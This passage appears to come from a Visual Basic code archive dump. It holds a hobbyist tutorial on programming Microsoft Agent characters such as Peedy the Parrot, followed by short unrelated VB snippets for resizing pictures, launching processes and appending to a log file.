use this tutorial you will need\nMicrosoft Visual Basic 5 or 6 (parts of this tutorial may work in VB 4 if you\nhave Agent 1.5 installed). I am not sure about VB 7 (VB.NET). You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). An open mind and good cup of coffee (or any other\npreferred beverage :)\nwill be helpful.\nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the Robot. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n<hr>\n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English)\n<hr>\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n<hr>\n \nGetting to Know\nThe Different Characters\nAs far as I know, there are 4 default\ncharacters you can use with Ms Agent. You can download them all from the Ms\nAgent Developers Website ( <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n). Although you can configure each character to your own liking, they tend to\nconvey different types of impressions. \nPeedy -\nThe first agent character (I think). He is a temperamental parrot (that's the\nway I see him). I use him mostly to add sarcasm to my apps. Has an (sort of)\nannoying voice - squeaky in parroty sort of way. You use him to some cool stuff\nthough.\n \nGenie -\nCool little guy to add to your apps. Can do some neat stuff too! Use him to add\na touch of class and mystery to your apps. Has an OK voice and has a cool way of\nmoving around.\n \nMerlin -\nYour friendly neighborhood Wizard! Always has the look that he is total control. Also has\na vague look of incomprehension (that's the way I see it!). Useful little dude\nbut I don't like the way he moves around (wears beanie and flies).\n \nRobby -\nProbably the newest addition to the series. Looks like an Robot from some space\nmovie. Has a very metallic, robotic voice. Moves around using jetpacks.\n \nWhat? You don't like any of\nthese characters? Wanna create you're own? It's not easy.. but you can give it a\nshot... Just visit the MSDN page for Ms Agent (check FAQs for web\naddress). \nYou can also download some\ncustoms files. The Agentry, a cool site that has lots of sample applications,\nalso has over 300 character files and some of them are free. Look for the URL in\nthe 'Cool Web Links' section.\n<hr>\n \nDisplaying Various\nAnimations\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n<hr>\n \n \nEvents and\nProperties of the Agent Control\n \nEvents\nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\nchar.play "Idle3_3" 'This\none works only for Peedy I think! - He listens to music!\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the Agent1_BalloonHide\nevent to Set what happens when the Character's speech balloon is shown\nUsing this event you can set what happens\nevery time the speech balloon is shown (basically every time the character\nstarts speaking).\n \nUsing the Agent1_BalloonShow\nevent to Set what happens when the Character's speech balloon is hidden\nUsing this event you can set what happens\nevery time the speech balloon is hidden (basically every time the character\nstops speaking).\n \n \n \nProperties\nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n<hr>\n \nUsing Ms Agent\nwith VB Script\nMs Agent can be used in VB script too. VB\nscript 2.0 is needed to do so. Here is an example. Using VB script is very\nuseful if you want to include MS Agent on your web page. Please note - I am not\ntoo familiar with VB script so If there are any syntax errors please let me\nknow.\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \n \nInitializing The Character\nTo initialize the character you will need to\ncontact the Agent Server.\n<SCRIPT LANGUAGE = “VBSCRIPT”>\n<!—-\n \nDim Char 'Declare the String Char\n \nSub window_OnLoad 'Window_Onload\nEvent\n \nAgentCtl.Characters.Load\n"Genie", "http://agent.microsoft.com/characters/v2/genie/genie.acf"\n \n‘Create an object with reference to the character on the Microsoft\nserver \n \nset Char= AgentCtl.Characters\n("Genie") 'Set the the Char string to = The\nAgent Cotnrol\nChar.Get "state",\n"Showing" \n‘Get the Showing state animation\nChar.Show 'Show the\nCharacter\n \nEnd Sub\n -->\n \n</SCRIPT>\n \nSending Requests to the\nServer\nYou will need to send requests to the agent\nserver in order to do certain commands.\n \nDim Request\n \nSet Request = Agent1.Characters.Load ("Genie", "http://agent.microsoft.com/characters<a name=\"_Hlt390052700\">/v2/genie/</a>genie.acf")\n'Sets the request<o:p>\n</o:p>\n\n \nIf (Request.Status = 2) then 'Request is in\nQueue \n'Add your code here (you\ncan send text to status bar or something)<o:p>\n</o:p>\n\n \nElse If (Request.Status = 0) then 'Request\nsuccessfully completed\n'Add your code here (you\ncan do something like display the annimation)<o:p>\n</o:p>\n\n \nEnd If\n \n \nShowing Animations\nIf you are using VB script you will need to\nget the animations from a server using the Get method. For example the\nfollowing code will get all the 'Moving' animations which the character needs.\nAgentCtl.Characters\n("Peedy").Get "Animation", "Moving", True \nAfter an animation is loaded you should be\nable to play it in the usual way.\n \n<hr>\n \nUsing the Office\nCharacter Files in Your Ms Agent Apps\nAs far as I know, those\ncharacter files are not freeware and cannot be distributed except with office,\nso please don't distribute them with your apps. Use this section for educational\npurposes only.\nThe office character files\ncan do very little (very few animations) and have no speech support, so you'd be\nbetter off using the Ms Agent character files anyway. But hey, I was doing some\nresearch and I found this out so I thought I would add this section. So here we\ngo...\nFirst find all the files on\nyour hard disk with the extension *.acs . You will see some familiar office\nnames too (e.g - Clippit, maybe Rocky). Just copy these files to the Ms Agent \\\nChars folder. Then change the Anim property to equal the character\nname. Example for Clippit -\nAnim = "Clippit"\nChanges the Anim property to Clippit\n \nYou can't really do much\nwith these acs files, but I just thought I'd include this section. \n<hr>\n \nSpeech Recognition\nAnother, feature of Ms\nAgent is it's ability to recognize speech. You will need a microphone or a\nsimilar gadget that lets you input speech into your PC. The following speech\nengine can be used with Ms Agent. Check out the MSDN homepage for Ms Agent for\nthe latest speech engine updates. I've never tried to use the speech recognition\nfacility, so if you find any trouble please email me. If you want to find more\nabout voice recognition I recommend that you visit the MSDN site (URL in the FAQ\nsection).\n \nL&H TruVoice Text-To-Speech\n-American English\nThis will recognize the usual American\nVoice I think.\nCLS ID =\nB8F2846E-CE36-11D0-AC83-00C04FD97575<o:p>\n</o:p>\n\nVersion = 6,0,0,0\n \nHere is some example code of how to create an object of\nthe speech engine (VB Script).\n \n<OBJECT width=0 height=0\n'Opens the Object Tag \nCLASSID="B8F2846E-CE36-11D0-AC83-00C04FD97575<o:p>\n</o:p>\n" 'Tells the Class ID \nCODEBASE="#VERSION=6,0,0,0">\n'Tells the version number \n</OBJECT> 'Closes the Object Tag\n \n<hr>\nMaking your Own\nCharacter Files\nSometime or the other you may need to\ncreate a character that is unique to your application. This section describes\nbriefly how to do this.\n \nUsing the Microsoft Agent\nCharacter Editor\nThis tool is used to assemble, sequence and\ntime the frames. Also this is what is used to input other character details\n(name, description) and to finally compile it to a acs file. You can download it\nfrom the following URL -\n<a href=\"http://msdn.microsoft.com/msagent/charactereditor.asp\">http://msdn.microsoft.com/msagent/charactereditor.asp</a>\n \nFrames\nEvery animation a character does is a timed\nsequence of frames. It is like a cartoon movie or the little 'flip and look'\ncartoons we used to make (remember those?!). Ok so we want to make the character\nwave - we need to draw different shots of his hand at different stages of the\nwave but we can still keep his body the same. This is called overlaying. You\njust change the part of the image you want and let the rest be. The number of\nframes in your animation can be any amount you chose but the usual is around 14\nframes (takes around 6 seconds to process). This also helps to keep the size of\nthe animation small enough for transfer via the web. Frame size should be 128 x\n128 (pixels). Using the Microsoft Agent Character Editor, you have the ability\nto set how long a frame is displayed before the next one is shown. The typical\nduration would be 10 hundredths of a second (about 10 frames a second).\n \nCreating Images\nAnimations need Bitmaps (*.bmp files). The\nimages must be designed on a 256 colour pallete, preserving the standard windows\ncolours in their usual positions (first ten and last ten colours). That means\nthat your palette can use up to 236 other colours. Also if you use many other\ncolours, they may be remapped when your character is displayed on systems that\nhave a 8 bit colour setting. Using lots of different colours also may increase\nthe overall size of your character file. The 11th image in your palette is the\n'alpha colour'. Agent will use this colour to render transparent pixels in your\napplication. This can also be changed using the Microsoft Agent Character\nEditor.\n \nAuthor's Note - I have never really tried\ndoing this. For more information visit the MSDN Ms Agent page (see FAQ for URL).\nIf you attempt this and succeed (or don't succeed) please tell me.\n<hr>\n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n<hr>\n \nFun Agent Code to Add to\nyour Applications\nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n \nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n<hr>\n \nCool Web Links\nHere are a few URLs where you will find\ninformation on Ms Agent related programs.\n<a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n- The official Ms Agent site. Has developer downloads and the official developer\ndocuments.\n<a href=\"http://agentry.net\">http://agentry.net</a>\n- Probably the biggest site on Ms Agent (apart from MSDN). Has over 300\ncharacters, and a few are even free for download. A must see site!\n \n<a href=\"http://www.msagentring.org/\">http://www.msagentring.org/</a>\n- A collection of the best Ms Agent sites on the web. You can practically find almost\nanything on Ms Agent here.\n \n<a href=\"http://members.theglobe.com/costas5\">http://members.theglobe.com/costas5</a>\n- Has some cool stuff including how to use Ms Agent in Word 97.\n \nAuthor's Note - I am not responsible for\ncontent you find on these sites. Also if there are any cool resource sites (that\nhave source code or other stuff for developers), just email me and I'll add them\nhere in the next update.\n<hr>\n \nFrequently Asked\nQuestions\nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nThe agent files can be freely downloaded, but\nyou are never the less bound by the Microsoft EULA (End User License Agreement).\nFor more information go to the URL specified below. The agent files (inlcuding the character\nfiles) are available for download on <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n. You can also find custom animations created by various people at <a href=\"http://agentry.net\">http://agentry.net</a>\n \nHow big are the character\nfiles?\nThe character files at MSDN range from 1.6 MB\nto around 2 MB so they will take some time to download (depending on your\nconnection speed).\n \nWhy don't some functions\n(commands) work on some character files?\nSome versions of character files will\nhave more functions, so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle3_3" function does not work on Robby.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish or\nmay even loop for ever so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent freely\nin my\napplications?\nYes! as far as I know Microsoft is\ndistributing this across the internet. You can use the control in your apps but\nplease check out the licensing information first <a href=\"http://www.microsoft.com/workshop/imedia/agent/licensing.asp\">http://www.microsoft.com/workshop/imedia/agent/licensing.asp</a>\n \nHow do I distribute Ms Agent\nwith my apps?\nYou need to get the Cabinet (*.cab) files\nfrom the MSDN site. Then you can include a reference to it in your installation\nprogram. In order to do this too you need to agree with Microsoft's licensing\ninformation (see above).\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \nCan I use Ms Agent in VB 4.0?\nI have got reports that you can use Ms Agent\n1.5 in Visual Basic 4. I am not sure if it will work in VB 4.0 (16 Bit), but it\nshould work in VB 4.0 (32 Bit). \n \nCan I use Ms Agent in Java?\nAs far as I know you can. I saw some Java\ncode on the MSDN site. You may want to check out the site (see below for URL).\n \nCan I use Ms Agent in C and\nC++?\nYes, I think you can. There were some C++\nexamples on the MSDN site (I think). Check out the site - you may find some\nsample code (URL below).\n \nWhere can I get more info on\nMs Agent?\nMicrosoft's\nofficial Ms Agent developer page is at - <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \nWhat are some popular\ncommercial / shareware applications made with Ms Agent?\nWell\nthe most famous app is probably Bonzi Buddy (<a href=\"http://www.bonzibuddy.com\">www.bonzibuddy.com</a>).\nAlthough this app initially used Peedy, I think they have now developed their\nown character(s).\n \nI can't understand a part (or\npart's) of this tutorial. Can you help?\nOf\ncourse! Just email me (address below)! I will be happy to help in anyway I can.\n \nHow can I make sure that I\nwill get to see more tutorials like this? \nI\nam greatly encouraged by your comments, suggestions and especially your votes.\nYour support will help me to write more tutorials like this one.\n \nTHE END\nA lot of hard work\nhas gone into this tutorial. I have spent many hours writing this article\nin an easy to understand manner. If you like this please vote for me.\nAlso feel free to post any comments or suggestions as to what I\ncan include in the next version. Feel free to mail me at <a href=\"mailto:vbdude777@email.com\">vbdude777@email.com</a>\nand also check out my website at <a href=\"http://mahangu.tripod.com\">http://mahangu.tripod.com</a>\n \n "},{"WorldId":1,"id":13916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29903,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11087,"LineNumber":1,"line":"'pretty much straight forward just load a picture\n' into 'startingPic' and call this sub\nPublic Sub ResizePicture(startingPic As PictureBox, destinationPic As PictureBox)\n'the horz. and vert. ratios\nratioX = startingPic.ScaleWidth / destinationPic.ScaleWidth\nratioY = startingPic.ScaleHeight / destinationPic.ScaleHeight\n'for stats\ntheTimer = Timer\n'go through the startingPic's pixels\nFor x = 0 To startingPic.ScaleWidth Step ratioX\nFor y = 0 To startingPic.ScaleHeight Step ratioY\n 'get the color of the startingPic\n theColor = startingPic.Point(x, y)\n \n 'find the corresponding x and y values\n ' for the resized destination pic\n realX = ratioX ^ -1 * x\n realY = ratioY ^ -1 * y\n \n destinationPic.PSet (realX, realY), theColor\nNext y\nNext x\nMsgBox \"It took \" & Timer - theTimer & \" seconds to increase the horizontal size by \" & ratioX ^ -1 & \" and the vertical size by \" & ratioY ^ -1 & \".\"\nEnd Sub\n"},{"WorldId":1,"id":14938,"LineNumber":1,"line":"Function ShellAndWait(strCommandLine As String, lWait As Long) As Long\n Dim objProcess As PROCESS_INFORMATION\n Dim objStartup As STARTUPINFO\n Dim lResult As Long\n Dim lExitCode As Long\n \n objStartup.cb = 68\n objStartup.lpReserved = 0\n objStartup.lpDesktop = 0\n objStartup.lpTitle = 0\n objStartup.dwX = 0\n objStartup.dwY = 0\n objStartup.dwXSize = 0\n objStartup.dwYSize = 0\n objStartup.dwXCountChars = 0\n objStartup.dwYCountChars = 0\n objStartup.dwFillAttribute = 0\n objStartup.dwFlags = 0\n objStartup.wShowWindow = 0\n objStartup.cbReserved2 = 0\n objStartup.lpReserved2 = 0\n objStartup.hStdInput = 0\n objStartup.hStdOutput = 0\n objStartup.hStdError = 0\n \n 'try and Create the process\n lResult = CreateProcess(0, strCommandLine, 0, 0, 0, 0, 0, 0, objStartup, objProcess)\n If lResult = 0 Then\n ShellAndWait = -1\n Exit Function\n End If\n \n 'now, wait on the process\n If lWait <> 0 Then\n lResult = WaitForSingleObject(objProcess.hProcess, lWait)\n If lResult = 258 Then 'did we timeout?\n lResult = TerminateProcess(objProcess.hProcess, -1)\n lResult = WaitForSingleObject(objProcess.hProcess, lWait)\n End If\n End If\n \n 'let's get the exit code from the process\n lResult = GetExitCodeProcess(objProcess.hProcess, lExitCode)\n lResult = CloseHandle(objProcess.hProcess)\n lResult = CloseHandle(objProcess.hThread)\n \n ShellAndWait = lExitCode\nEnd Function\n"},{"WorldId":1,"id":15029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28712,"LineNumber":1,"line":"Private Function AppendToLog(ByVal lpFileName As String, ByVal sMessage As String) As Boolean\n'appends a string to a text file. it's up to the coder to add a CR/LF at the end\n'of the string if (s)he so desires.\n 'assume failure\n AppendToLog = False\n \n 'exit if the string cannot be written to disk\n If Len(sMessage) < 1 Then Exit Function\n \n 'get the size of the file (if it exists)\n Dim fLen As Long\n fLen = 0\n \n If (Len(Dir(lpFileName))) Then\n fLen = FileLen(lpFileName)\n End If\n \n 'open the log file, create as necessary\n Dim hLogFile As Long\n hLogFile = CreateFile(lpFileName, GENERIC_WRITE, FILE_SHARE_READ, ByVal 0&, _\n IIf(Len(Dir(lpFileName)), OPEN_EXISTING, CREATE_NEW), _\n FILE_ATTRIBUTE_NORMAL, 0&)\n \n 'ensure the log file was opened properly\n If (hLogFile = INVALID_HANDLE_VALUE) Then Exit Function\n \n 'move file pointer to end of file if file was not created\n If (fLen <> 0) Then\n If (SetFilePointer(hLogFile, fLen, ByVal 0&, FILE_BEGIN) = &HFFFFFFFF) Then\n 'exit sub if the pointer did not set correctly\n CloseHandle (hLogFile)\n Exit Function\n End If\n End If\n \n 'convert the source string to a byte array for use with WriteFile\n Dim lTemp As Long\n ReDim TempArray(0 To Len(sMessage) - 1) As Byte\n \n For lTemp = 1 To Len(sMessage)\n TempArray(lTemp - 1) = Asc(Mid$(sMessage, lTemp, 1))\n Next\n \n 'write the string to the log file\n If (WriteFile(hLogFile, TempArray(0), Len(sMessage), lTemp, ByVal 0&) <> 0) Then\n 'the data was written correctly\n AppendToLog = True\n End If\n \n 'flush buffers and close the file\n 